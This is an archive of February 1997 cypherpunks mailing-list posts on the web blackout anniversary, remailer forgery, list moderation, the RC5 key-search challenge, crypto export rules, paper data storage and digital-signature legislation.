Subject: Remember the Blackout
Message-ID: <199702060140.RAA08925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:12:47 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Remember the Blackout
X-orig-from: dwiner@well.com (DaveNet email)
X-e$pam-source: owner-davenetworld@wired.com

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
X-Sender: dwiner@mail.well.com
 Mime-Version: 1.0
 Date: Wed, 5 Feb 1997 13:23:02 -0800
 To: jonl@microsoft.com (Jon Lazarus), hopmann@holonet.net (Alex Hopmann),
         anna@LivePicture.com (Anna Godfrey), scotty1024@aol.com (Scott
Turner),
         577-7433@mcimail.com (Bobby Orbach),
         mwhutch@aol.com (Michael Hutchinson -- AOL Webmaster),
         rsiegelman@kpcb.com (Russ Siegelman), davenetworld@wired.com,
         pdeziel@adobe.com (Pam Deziel), siegel@barebones.com (Rich Siegel),
         slove@netscape.com (Scott Love)
 From: dwiner@well.com (DaveNet email)
 Subject: Remember the Blackout
 Sender: owner-davenetworld@wired.com
 Precedence: bulk


---------------------------------------
 Amusing Rants from Dave Winer's Desktop
 Released on 2/5/97; 1:23:01 PM PST
 ---------------------------------------

   A short piece, in the middle of much website work, to remind everyone
   that Saturday February 8 is the first anniversary of an important
   event in our new medium -- the web blackout of 1996.

   It's already history. In some circles it's not fashionable to
   remember that the United States government attempted to censor free
   speech on the Internet. I believe it would be cynical to overlook it.

   We defeated the law, even though we re-elected many of the
   politicians who tried to outlaw free speech in the name of protecting
   children.

   I'm building a website that will go live on Saturday to commemorate
   the protest, and to serve as a monument to the spirit of free speech. To
   remind us that this is a worldwide community, and no political system
   has the power to enforce its standards of decency on the medium.

   The battle to retain our rights is ongoing. Important organizations
   such as the Electronic Frontier Foundation and the American Civil
   Liberties Union deserve and require our support. It's easy to lose
   sight of the principles that we believe in, to be distracted by
   questions of corporate survival, of fear or greed. These are
   interesting issues, no doubt. But this is a creative and expressive
   medium and to protect its potential, unqualified free speech is
   essential.

   I played a small role in the web blackout last year. This year I hope to
   facilitate, to organize more sites and help to spread the word that
   free speech is not an option, not something that can be traded or
   limited and that no compromises are possible.

   <http://www.scripting.com/davenet/misc/blackout/>

   If you run a democracy-related site, large or small, please visit the
   page before Saturday and register. If you know someone who does,
   please pass this on. And if you value free speech, please visit the
   site on Saturday or later. It'll be a fascinating trip thru Internet
   history, if nothing else!

   Remember the blackout. Remember why it was necessary. Don't let
   people use children as an excuse to deprive people of their power to
   express themselves.

   Dave Winer

 -------------------------------------------
 News & Updates: <http://www.scripting.com/>



--------------------------------------------------
The e$ lists are brought to you by:

Intertrader Ltd - Java e$ Software Developers in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$pam? Help pay for it!  See <http://www.atanda.com/rah.html>
Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 19:40:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702060340.TAA11380@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.cnn.com

Congressman demonstrates
ease of cell phone snooping

     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 21:41:08 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: Re: mail-to-news fun
Message-ID: <199702060541.VAA13772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:18 AM 2/6/97 -0000, you wrote:
>Unfortunately, you don't really have a choice about what kind of
>speech you are supporting if you run a remailer.  Don't fall into the
>trap of saying, "I want to give people complete freedom of anonymous
>speech... EXCEPT...."  As abhorrent as we may find the homophobic
>hatemongers from the "freedom-knights" list, I guarantee a lot of
>politicians would object more strongly to the "Help, I might be gay
>and my parents will kill me" post.  Once you set up a system for
>content-based censorship, don't think you can stay in control of it.

The problem isn't homophobic hatemongers who use their own names or nyms
or no name, or even get my remailer's name associated with that -
I can reply to complaints or file them in the handy bit bucket.
The problem is forgers signing _other_ people's names to their hatemonger
postings, causing the innocent third party to catch all the
flames that the forger was trying to generate. 

Stewart wrote:
>> On the other hand, I don't want to support postings titled
>> "ALL FAGS MUST DIE" with a forged signature and email at the bottom,
>> and I especially don't want to post that from my remailer without
>> indicating that anything posted by a remailer might be forged.
>> That's why I shut down my previous remailer - the forger only
>> posted one forged message; the person whose name got forged
>> got flamed severely by dozens of people who objected to "her" posts.
>> Blocking the gay newsgroups cuts down on that kind of trolling,
>> but also cuts out the "Help, I might be gay and my parents will kill me"
>> traffic that remailers are supposed to help with.

Guess I should have been more clear....

>As for forgery, I do add
>  X-Warning: Sender address is unverified and may not be authentic.
>to every article that goest through my mail2news gateway.

Does anybody read X-Warning: headers?  Not all newsreaders even show
all the headers.  It's a good start, and that's clearly the place
in the system to insert it.

>Additionally, I have a fast source-blocking system set up, so anyone
>in whose name articles are being forged can immediately stop it by
>mailing <srcblk-request@nym.alias.net>.  (This doesn't source-block
>them from the remailers, just the non-anonymizing mail2news gateway.)

That helps, at least if the spammer is doing a lot of it (or if the
spam is from a broken gateway program or whatever.)  But for the
troll that killed my remailer, one message was enough.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Wed, 5 Feb 1997 19:59:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702060359.TAA11793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Marshall Clow wrote:

> Mr. Murray gave a long, impassioned speech.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.

    I was in attendance at an ISSA conference earlier this year where Mr. 
Murray gave the "keynote" speech on Electronic Commerce.  While he did 
strongly advocate the adoption of strong crypto and various methods of 
security, he never stepped into the more radical mode of encouraging 
people to break the law.  That was a different audience though.

    As he is also an ex-25 year IBM veteran it amazes me that he would 
make such a public outcry against govt. regulations (okay, so it's a 
stereotype).  Deloitte & Touche must really have a big stake in the 
pro-crypto market or else he actually cares a lot.

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 19:40:53 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
Message-ID: <199702060340.TAA11393@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 pm -0500 2/5/97, Mark Voorhees wrote:
>I'm almost certain that Murray is a consultant rather than
>or in addition to an accountant. He's been saying these things
>for years at conferences, in papers, on mailing lists, etc.

For the longest time, I've had a couple of people from dtus.com on my e$pam
feed. They signed on when I started my own list out of www-buyinfo.

About 6 months ago, however, mail to them started bouncing out of e$, the
chat list I set up as an adjunct to e$pam. Which makes sense, because
that's when they stopped chatting about e$. :-). I expect that the same
thing happend to e$pam, though Rachel Wilmer, who is my e$pam listmaster
would have seen it, and not I.


Actually, e$ has become something of a watering hole, now with about twice
as many subscribers as e$pam does. Some cypherpunks among them.

Oh. While we're all talking about moderation, e$pam is a sort of filtered
superset of cypherpunks. I have filtered cypherpunks posts in it, but I
also have stuff from the 50-odd mail lists and 70 news groups I follow. The
total feed can reach 300k a day sometimes, mostly because I include the
full text of stuff like some of John Young's articles, and the text of the
occasional web-page which tickles my fancy. Sort of immoderate moderation.
:-). You can subscribe to it on my web page, which is in my .sig, below.

I've a bunch of people working with me now on e$pam, who, among other
things, are in the process of getting it set up in a searchable archive.
Though, to prevent crawlers from seeing all the juicy bits (cf. Mr. Young,
above), we're probably going to have some kind of certificate-access scheme
when we get it all running. Rodney Thayer, who's doing IPSEC stuff, (among
other things :-)), is going to run a quick-and-dirty generic certification
authority to make that happen.

In the meantime, if you're interested in e$, or financial crypto, or other
stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
:-)), you might want to check it.


Even though cypherpunks is a lot "cleaner" now, and I did encourage Sandy
in his efforts initially, I suppose I'm now weighing in with (horrors!) Tim
on the subject of moderation. I think that if Sandy and John want to create
a moderated list (like I have done, though e$pam is more specific in
content) out of what happens on cypherpunks, they could do it with exactly
the traffic they have now in experimental moderation mode. The current
machine load doesn't seem to be impacting the throughput to
cypherpunks(moderated), modulo Sandy's moderation time, though if
toad.com's being used for much else, there might be problems there.

Part of the nice thing about cypherpunks 1.0 was that anything could happen
there. That it was anarchy in practice. And, maybe because of my periodic
altercations with Mr. May on this list (thank god for his kill-file :-))
even the anonymous Tim-slams were occasionally entertaining, in a, ahem,
biologically curious sort of way. ;-).

So, I guess I think we should put it back the way it was. Including, please
Mr. Gilmore, "officially' resubscribing the Wee-vil Dr. V. Then those
who've made it so can annouce to the world that cypherpunks is again a
proper anarchy. Then we can us deal with miscreants the way we used to, by
ignoring them, (and the occasional e-mailbomb...).


Finally, I have an analogy for cypherpunks from nature. There are lots of
plants, some of them the technically the largest living beings on earth,
which, at first glance, look like a bunch of different individual plants.
Aspen groves, for instance, are all linked together under the soil to the
same system of roots, and are genetically the same individual. Some of
these "stands" of trees cover tens of square miles, and one patch of
Aspens, in Wyoming? Montana? is the world's largest living thing, massing
several million(?) tons, and probably tens of thousands of years old.

Fungi do this too. Toadstools (a rather, heh, fecund analog for
cypherpunks) tend to create very large "individuals", with each toadstool
representing the fruiting body for a huge bunch of mycyillia(sp?)
underneath it. Toadstools create structures called, ahem, "fairy rings",
where the central mushroom dies, only to be replaced by a ring of other
mushrooms, which die, and so on, until they're covering your whole fucking
lawn and messing up your lawnmower bag... (well, anyway, you get the idea.)
There was the claim a few years ago that the same genetic individual slime
mold covered half of Wisconsin (Minnesota?).

The king of all the plants which do this, I think, is the cresote bush,
which, I believe, in some pieces of the Sonorran(sp?) desert, cover
hundreds of square miles. Scientists, using tree-ring dating, have worked
back, through various rings of cresote bushes, using their very slow growth
rates in the desert environment, to the center of the creosote bush
cluster, to estimate the date of these things. I remember claims that these
plants may have started from a single individual, there at the long dead
(or at least regrown-over) center of the ring, more than a hundred, and
maybe several hundred thousand years ago.

So, let nature take its course. Most lists die when people stop posting to
it. That certainly hasn't happened to cypherpunks. And, when it does, we
can all migrate out into the numerous rings of lists that cypherpunks has
spawned (I think I can account about putting together 10 or so myself)
among them.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Wed, 5 Feb 1997 14:01:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702052201.OAA05502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702030626.WAA14616@toad.com>,
Vin McLellan  <vin@shore.net> wrote:
>	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
>almost all standard Unix college-lab workstations, as I understand it.
>(RC5 has a variable block size and a variable number of rounds; but the
>unknown plaintexts for this contest were enciphered using a declared
>12-round RC5 with a 32-bit word size.) The message Ian revealed was
>something like: "That's why you need a longer key!!!!!"
>
>	 (The network Ian used to link his lab workstations, NOW at
>Berkeley, is definitely not standard, however.  I think there is a
>description of it online; but briefly, NOW seems designed to very
>efficiently handle this sort of intensive distributed processing project.
>More important, perhaps, was the fact that Ian just chewed through the
>possible keys with a pure brute-force attack on the key space.  His attack
>was not really optimized for RC5, or designed to attack any specific
>element in the RC5 crypto architecture.)

Actually, it was 259 _machines_, but 4 of them were 8-processor UltraSPARCs
(by far the coolest machines I had access to), for a total of 287 processors.

The "special" network used by the NOW cluster was irrelevant; I didn't use
it at all.  I used the machines on the NOW and 120 other HP workstations
as regular TCP/IP clients.  I started them by simply logging in to each
machine, one at a time with "rsh" (well, "krsh" or "ssh" where appropriate).

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvj4REZRiTErSPb1AQFl5gP+MGlyElNu6X3IHseW6Q0EPicPa4mQs35Z
koUKkAhk0qrT2CpEzw7J6dtjyTLs2BUmScEOtvU8KiBjK8aRZCsE0BHSmONWtX71
dNZu1q/+wm2oSLi1tDq0mT7bpbBR0NbO71tWgza2vTFhtP4vKvzt5SodYSN+JTYL
5DuLvpofRFs=
=ly1x
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 19:59:16 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060359.TAA11787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
who we can't talk about" or "Child Pornographer Y who we can't talk 
about" (in lieu of cases being digested by the court system) so I 
didn't harp on that point.

A point I did leave out was that if they already knew these people 
were criminals and were building cases against them, monitoring them 
enough to know they used crypto, then do they really need to bother 
with listening in to the exact message?

I wanted to emphasize the phallacy of the sacrifical lamb of rights 
in the name of the god of security.  Also, they mungled the letter 
enough, so it's better for LI Newsday (which caters to a reading 
level of the average 12-year-old) submissions to be kept short and 
sweet.

I'm quite surprised that mine is the only letter they printed. 
Certainly they would have gotten more than one submission on a 
controversial subject?

--Rob

On  5 Feb 97 at 18:22, jim bell wrote:

> But which "criminals," exactly, are "increasingly using encryption to 
> conceal their plans and activities"?  Let's not concede this unless it's 
> really true.
> 
> It would be far more accurate to say that it's likely that many people who 
> are politically hostile to their government are using encryption in 
> anticipation of persecution by the government, persecution that could easily 
> come in the form of criminal charges.
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 
> 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 22:10:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060610.WAA14376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This time I have opted for a point by point.
At 07:59 PM 2/5/97 -0800, jim bell wrote:
...
>The kind of effects I'm thinking of are primarily the "military spending" 
>situations, where:
>
>1.  Large numbers of potentially competent and useful people get put into 
>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>(Those people who still think military spending is really necessary 
>obviously haven't read AP.)
This point I can not argue with, at least not directly.  I do believe that
the military way is wasteful of resources.  However, this is one area that
has actually benefitted the lower-income bracket in that it gives them
"inexpensive" (off-chance of death) access to good training.
>2.  Large amounts of money are spent on military hardware, money which goes 
>to fund  people who would otherwise develop useful products in the 
>non-government private sector.
Three things that promote technological growth, expansion, war, threat of war.
As for expansion. we really have no where else to go.  As for war and threat
of war, the computer was invented during a war, atomic energy was harnessed
during war, the internet was created during threat of war.  Many
advancements, though not all, come to benefit society later.  For that
matter, steel was probably invented during a war as well, but I can't prove it.
>3.  The patent system decreases competition, increases profits and prices in 
>the marketplace due to government actions to allow and enforce monopolies.
The patent system gives the innovator a reward for ingenuity, that person
can decide what to do with the invention for a short period of time, after
which it becomes available to all.  (BTW I really think that computer code
should be copyrighted and not patented, this allows others to reproduce the
work independantly without repercussions, gives the necessary protection,
makes it more obviously a form of speech.)
>4.  Government employees are paid more for their activities than they would 
>receive in the private sector.  Ironically, in this case an 
>"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
>middle level government manager to his counterpart in private industry, 
>because to postulate there is such a government-job assumes that the 
>private-sector would do it post-AP.  

To this I can't argue, business is certainly leaner than government.  Of
course most desert plants are more robust than their resource-wasteful
wetland counterpart.  Where there is a near-bottomless supply of material,
as in taxes, true streamlining really doesn't happen.  Remember, the
automobile really didn't become anywhere near fuel-efficient until after the
energy crisis.
> 
>>If you are right then governments would effectively lose the ability to tax,  
>>with or without representation, as most people do not agree on everything,
>>like how their money is spent.  However, even now, as pointed out in some
>>recent posts, our tax money is used to foreward the goals of a few, these
>>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>>oppostition, our money is still used to foreward the goals. 
>
>Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
>nothing would prevents individuals from continuing to fund an organization 
>called a "government" so that it could do those (non-coercive) things that 
>individual wants to see done.  But I think it'll be amazing how many of 
>those heretofore-funded-by-govt projects (previously promoted as being 
>wanted by a large fraction of the citizenry) that evaporate when the public 
>is given the option to continue to fund them voluntarily.
>
>
>Let's suppose, hypothetically and for vast simplification, the government 
>engages in two activities, "A" and "B."   Further suppose government taxes 
>from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
>thought that Alphas like spending on "A",  but hate spending on "B".   
>Likewise, it is figured that Betas like spending on "B", don't like spending 
>on "A".    
>
>Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
>fund only "A",  while Betas" would donate money for activity "B".   Assuming 
>the amount of funding for those activities was equal, you might think that 
>things could go on as they already do.  But no.   The reality is that 
>"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
>tolerate their own money being used for both only because the "Betas" are 
>similarly forced.  Add volunteerism to the whole mix, and not only would 
>these two groups only fund just what they really wanted, they would soon 
>discover they don't even want the level of spending they previously argued 
>for, pre-AP.
As it is, the "A" group, that's not us, is being promoted with virtually all
of the capitol, the "B" group, us, is being attacked in policy and attempts
are being made to keep us from getting any bigger.
...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Feb 1997 14:20:02 -0800 (PST)
To: declan@pathfinder.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702052220.OAA05804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:
> Adam writes:
> 
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.
> 
> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value.

Their policies impose the editors and owners biases on the
publication.  If people value their publication they buy it.  The
average quality of the articles is higher than a discussion group --
the authors spend longer writing the articles, and the best articles
are selected by the editors.  Unsuprising.  The articles are probably
biased towards the editors or owners politics.

> Moderation is not necessarily censorship. Would you criticize the
> National Coalition Against Censorship for not including in their
> newsletter (to which I subscribe) off-topic rants by Jesse Helms?

A newsletter is not a discussion forum.  Editorial control of a
newsletter is not moderation of a discussion group.  The cypherpunks
list is a discussion forum.  It's the electronic equivalent of people
talking amongst themselves about crypto issues in free time at CFP, or
a crypto conference.

> What Vulis and the rest (whom I killfiled long ago) have done is
> polluted a common resource, making it unusable for the rest. It's
> the tragedy of the commons. When all can speak without limit in a
> public forum, the drunken boor can shout everyone else down.

Dimitri's opinions aren't threatening anything.  If you aren't
interested in what he says don't read his articles.  If you disagree
with what he says, argue against it.  Subscribe to or start filtering
services (rating services) reflecting your views.

Personally I think something useful could be done with a content
digested form of cypherpunks with ratings, and pointers to the actual
posts.

Things like:

+ a thread on the experiment moderation, discussion from John Gilmore,
  Tim May, and others (hypertext ref)

+ series of latest ascii art and insults

+ new crypto developments in article forwarded by JYA

+-+ discussion of new crypto developments, and Lucky offers a bet

Would take a fair amount of effort from someone to produce a running
commentry of cypherpunks discussions to provide a higher level index
in to cypherpunks.

The price of unconditional free speech is that people will say things
which you personally don't agree with, however libertarian you are.

The only thing to do is to ignore stuff you don't like, or argue
against it, if you say, no this is too crap, or too worthless, then
you've started on the slippery slope.  It is the same principle that
protects your own freedom of expression.

It is worth bearing in mind that cypherpunks themselves are part of a
minority (the population of people who understand what encryption is
and implies, and know what governments are proposing enough to form an
opinion on whether crypto should be regulated or not).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 22:10:55 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: ITAR and Paper ROM
Message-ID: <199702060610.WAA14375@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>>should be possible to achieve the equivalent of 100x100 bpi of
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>>100 kilobytes.   What does ITAR say about this?
>
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable.  In these investigations I used matricies of
>small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
>to replace diskettes for inexpensive mass data distribution.  I was able to
>reliably get 100-200 KB/page side using standard offset printing.  With
>modern ink-jet/laser printers you should be able to reliably get at least
>10-50KB/page side. Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a few
>years earlier.

It seems to me that the main impediment to doing this in the middle 1980's 
was the lack of inexpensive scanners.  But the utility of a system like this 
has, unfortunately (?) or perhaps fortunately, probably been killed by the 
Internet.  Today, a magazine or newspaper can merely post a short pointer to 
a website including an FTP, or something similar.  True, that doesn't 
guarantee the availability of the data years later, but...



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 06:56:00 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: ITAR and Paper ROM
Message-ID: <199702061456.GAA24462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable. [....]
>to replace diskettes for inexpensive mass data distribution.  
> Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a 
>few years earlier.

Yeah, our patent office is so helpful - granting a patent for
	"Storage of Information By Making Marks On Paper" :-)
You'd think they'd recognize a few thousand years of prior art.....

Xerox also has a similar patent; their method uses little diagonals
to encode data in. ///\\\///  It really _isn't_ called "cuneform".

More practically, sort of, there was the Cauzin Softstrip Reader,
which cost about $200 and held enough data to distribute programs
back when computers and programs were much smaller; a few PC magazines
tried distributing programs by printing them in the back that way.
Cute, but not cute enough to stick around very long.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 21:42:52 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: [RRE FWD] PKI: 10 Public Policy Questions
Message-ID: <199702060542.VAA13795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks-
Got this off of the Red Rock Eater list,
<http://communication.ucsd.edu/pagre/rre.html>, and figured those of you
not on it might like a read.

_________________________________________________
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: PKI: 10 Public Policy Questions
X-Url: http://communication.ucsd.edu/pagre/rre.html

[The bottom line: State legislation on digital signatures presupposes an
overly centralized architecture and is weighted against victims of fraud.
Pursuing inherently national or global issues on the state level permits
interested parties to shop for a friendly legislature, who will then set
a precedent that other jurisdictions are likely to follow.  This system
is biased against less politically mobilized constituencies and favors
older technologies and more centralized business models.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 05 Feb 1997 09:48:01 -0800
From: Bradford Biddle <BIDDLECB@COOLEY.COM>
Subject: PKI: 10 Public Policy Questions

[...]

* * * * * * * * *

[Copyright 1997 C. Bradford Biddle; permission granted for
non-commercial electronic redistribution]

CFP '97: LUNCHTIME WORKSHOP, WED. MARCH 12 1997 12:30PM -2:00PM

PUBLIC KEY INFRASTRUCTURES AND "DIGITAL SIGNATURE" LEGISLATION: 10
PUBLIC POLICY QUESTIONS

BRAD BIDDLE*

	Following the lead of the state of Utah, numerous states and
several foreign countries have enacted "digital signature" legislation
aimed at promoting the development of a public key  infrastructure
(PKI).  While PKI legislation has acquired significant momentum, it is
not clear that lawmakers have carefully considered the public policy
implications and long-term consequences of these laws.  This luncheon
session will explore certain policy questions related to a PKI, in an
informal "open discussion" format.  Ten questions we hope to address
are:

1.	Is legislation necessary at all?	

	Proponents of digital signature legislation start with the
premise that the need for a PKI is clear: public key cryptography and
verifiable certificates offer the best hope for sending secure,
authentic electronic messages over open networks, thereby facilitating
electronic commerce. They argue that the reason that the commercial
marketplace has not produced a viable certification authority (CA)
industry is because of legal uncertainty (CAs are unable to determine
their potential liability exposure because of a confusing array of
applicable background law) or because existing law imposes too much
liability on CAs.  Thus, proponents argue, legislation is necessary in
order to provide certainty in the marketplace and allow a much-needed
industry to emerge, as well as to address other issues such as the legal
status of digitally signed documents.

	Opponents of this view assert that it is far too soon to
conclude that the market will not produce commercial CAs, and point to
the increasing numbers of commercial CAs emerging even in the absence of
legislation.  Time is solving the "uncertainty" problem, opponents
argue, and the "too much liability" problem is the product of flawed
business models, not a flawed legal system. Opponents of legislation
argue that the real danger is that a group of lawyers will impose a set
of flawed rules that will fundamentally skew a dynamic infant
marketplace and "lock in" a set of business models that the market would
otherwise reject.  The time for legislation and regulation is after
identifiable problems exist in a mature industry, opponents say, not
before an industry even exists.  Opponents of legislation further argue
that existing legal mechanisms can address the issue of the legal status
of digitally signed documents.

2.	Where should PKI legislation occur?

	Debate also occurs over the appropriate jurisdictional level for
digital signature legislation. Some observers cringe at the thought of
50 inconsistent state digital signature laws; others believe that CAs
and consumers will opt-in to the most sensible legislative scheme, and
thus believe that competition between the states is helpful.  Proponents
of uniformity and consistency argue for PKI legislation at the federal
or international level; opponents of this view point out that general
commercial law has long been the province of state legislatures.

3.	Is licensing of Certification Authorities the right approach?

	Under the Utah Digital Signature Act ("Utah Act") and much of
the subsequent PKI-related legislation CAs are licensed by the state. 
The Utah Act makes licensing optional: CAs that obtain licenses are
treated with favorable liability rules, but non-licensed CAs may exist
in Utah. Licensing is a highly intrusive form of government regulation
(other, less intrusive methods of regulation include mandatory
disclosure requirements, altering liability rules to avoid externalized
costs, bonding or insurance requirements, etc.).  Typically, licensing
as a form of regulation is reserved for circumstances where a market
